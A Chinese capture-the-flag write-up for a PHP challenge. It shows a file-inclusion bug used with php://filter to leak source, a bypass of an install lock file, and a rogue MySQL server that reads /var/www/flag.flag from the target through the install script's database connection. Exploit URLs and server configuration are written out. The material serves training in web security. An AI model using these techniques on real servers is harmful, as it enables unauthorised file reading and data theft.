Writeup

首页给出了代码

1
2
3
4
5
6
7
8
9
10
<?php

define(ROBOTS, 0);
error_reporting(0);

if(empty($_GET["action"])) {
show_source(__FILE__);
} else {
include $_GET["action"].".php";
}

define中提示了ROBOTS,访问robots.txt是可以知道目录情况的,有两个目录admin和install

分别访问,会发现admin目录提示无法访问,install目录提示已经安装过了

通过首页的代码可以去读取这两个目录下的代码,base64解码出源码

1
2
http://ctf.chaffee.cc:23333/?action=php://filter/convert.base64-encode/resource=admin/index
http://ctf.chaffee.cc:23333/?action=php://filter/convert.base64-encode/resource=install/index

admin/index.php

1
2
3
4
5
<?php

if (!defined("ROBOTS")) {die("Access Denied");}

echo "Congratulate hack to here, But flag in /var/www/flag.flag";

通过直接action=admin/index也是可以绕过访问限制获取这条提示的

install/index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

if(file_exists("./install.lock")) {
die("Have installed!");
}

$host = $_REQUEST['host'];
$user = $_REQUEST['user'];
$passwd = $_REQUEST['passwd'];
$database = $_REQUEST['database'];

if(!empty($host) && !empty($user) && !empty($passwd) && !empty($database)) {
$conn = new mysqli($host, $user, $passwd);
if($conn->connect_error) {
die($conn->connect_error);
} else {
$conn->query("DROP DATABASE ".$database);
$conn->query("CREATE DATABASE ".$database);
//To be continued
mysqli_close($conn);

$config = "<?php\n\$config=";
$config .= var_export(array("host"=>$host, "user"=>$user, "passwd"=>$passwd), TRUE).";";
file_put_contents(md5($_SERVER["REMOTE_ADDR"])."/config.php", $config);
}
}

分析攻击

这里的file_exists中判断锁文件使用的是相对路径,导致我们首页对其进行包含时,可绕过这里

进入安装过程,有一处写配置文件的操作,然而由于有var_export函数,是无法闭合掉引号的,是无法写入shell的

唯一能用的代码就是这里的数据库联接操作,其实了解过利用mysql客户端任意文件读取就很清楚了。

攻击过程

1.在vps上下载恶意服务器代码
https://github.com/Gifts/Rogue-MySql-Server/blob/master/rogue_mysql_server.py
2.修改rogue_mysql_server.py中的配置项

1
2
3
4
PORT = 3306
filelist = (
'/var/www/flag.flag',
)

3.运行代码python rogue_mysql_server.py
4.放送恶意请求,host为vps,其余参数随意填

1
http://ctf.chaffee.cc:23333/?action=install/index&host=172.17.0.1&user=test&passwd=test&database=test

5.查看vps上的mysql.log文件,即可getflag

感想

这题灵感来自于最近的phpMyAdmin-4.8.4任意文件读取漏洞,该漏洞并不是phpMyAdmin自己的代码问题,只是因为当允许用户可自己定义mysql服务器的ip时,导致攻击者可搭建恶意mysql服务器,再让phpMyAdmin去请求该恶意服务器,导致文件读取

我就联想到了以前我分享过的鸡肋文件包含CMS安装脚本的操作,绕过锁文件,可能造成在配置文件写shell,其实也可能造成本CTF这种情况。同样的思路也可以用在任意文件删除造成的重装漏洞上,即便无法getshell,也很可能可以读取文件。(另外不知道在哪儿看到过大佬使用这样的恶意mysql服务器蜜罐,等待那些扫描mysql弱口令的人上钩…)